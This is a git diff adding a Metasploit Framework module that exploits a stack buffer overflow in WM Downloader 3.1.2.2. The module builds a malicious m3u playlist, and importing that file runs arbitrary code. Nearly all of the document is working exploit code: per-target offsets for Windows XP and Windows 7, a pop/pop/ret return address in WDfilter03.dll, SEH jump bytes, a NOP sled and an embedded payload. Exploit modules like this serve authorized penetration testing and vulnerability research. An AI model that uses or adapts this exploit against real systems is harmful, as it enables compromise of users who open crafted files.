diff --git a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb new file mode 100644 index 0000000000..13aed79775 --- /dev/null +++ b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb @@ -0,0 +1,78 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in WM Downloader v3.1.2.2. When + the application is used to import a specially crafted m3u file, a buffer overflow occurs + allowing arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'fdisk', # Original Exploit + 'dookie' # MSF Module + ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/14497/' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00\x09\x0a", + 'StackAdjustment' => -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll + [ 'Windows 7', { 'Ret' => 0x1001060C, 'Offset' => 43504 } ], # p/p/r in WDfilter03.dll + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 28 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), + ], self.class) + end + + def exploit + + sploit = rand_text_alpha_upper(target['Offset']) + sploit << "\xeb\x16\x90\x90" # Need a little longer jump to get over some cruft + sploit << [target.ret].pack('V') + sploit << "\x90" * 8 + sploit << payload.encoded + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + file_create(sploit) + + end + +end